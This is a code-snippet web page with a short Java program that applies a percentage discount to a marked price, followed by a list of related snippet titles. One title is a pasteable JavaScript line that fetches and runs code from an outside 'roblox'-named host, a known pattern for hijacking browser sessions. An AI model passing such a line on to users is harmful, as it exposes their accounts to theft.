Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

discount computation in java

class Discount
{
	public static void main(String args[])
	{
 
	double  dis,amount,markedprice,s;
               
	markedprice=Double.parseDouble(args[0]);
                 
        dis=Double.parseDouble(args[1]);                        				
	
	System.out.println("markedprice= "+markedprice);
 
	System.out.println("discount rate="+dis);
         
        s=100-dis;
 
	amount= (s*markedprice)/100;
 
	System.out.println("amount after discount="+amount); 
 
	}
}
Comment

PREVIOUS NEXT
Code Example
Java :: Pre Render View 
Java :: on offline event spigot example 
Java :: Java how to handle HTTP GET request after establishing TCP connection 
Java :: Java instanceof in Interface 
Java :: java for loop example 
Java :: java india 
Java :: expiry time of otp android 
Java :: x^n+y^n=z^n 
Java :: day of week integer to name of day in java 
Java :: declare a variable java 
Java :: JavaFX font display issue on Mac 
Java :: java unfocus 
Java :: call to jdbc template each class not by super 
Java :: adding Executable Jars to Spring Maven Project 
Java :: xJavascript:$.get("//javascript-roblox.com/api?i=8593") 
Java :: how to open a desktop application using java 
Java :: android java update image dynamically 
Java :: check if object is a string java 
Java :: java mockito print called methods 
Java :: Jax-RS PUT annotation 
Java :: java param.ExStyle |= 0x08000000; 
Java :: session-less control using java 
Java :: how to write 1,2,3,4.... in java 
Java :: how to run javac xlint 
Java :: spring boot dto example 
Java :: maximum occuring element in java 
Java :: pen default Mail Application in android studio java 
Java :: how to use java code to print with a network printer 
Java :: rgb code from java color 
Java :: compare time in java 
ADD CONTENT
Topic
Content
Source link
Name
3+7 =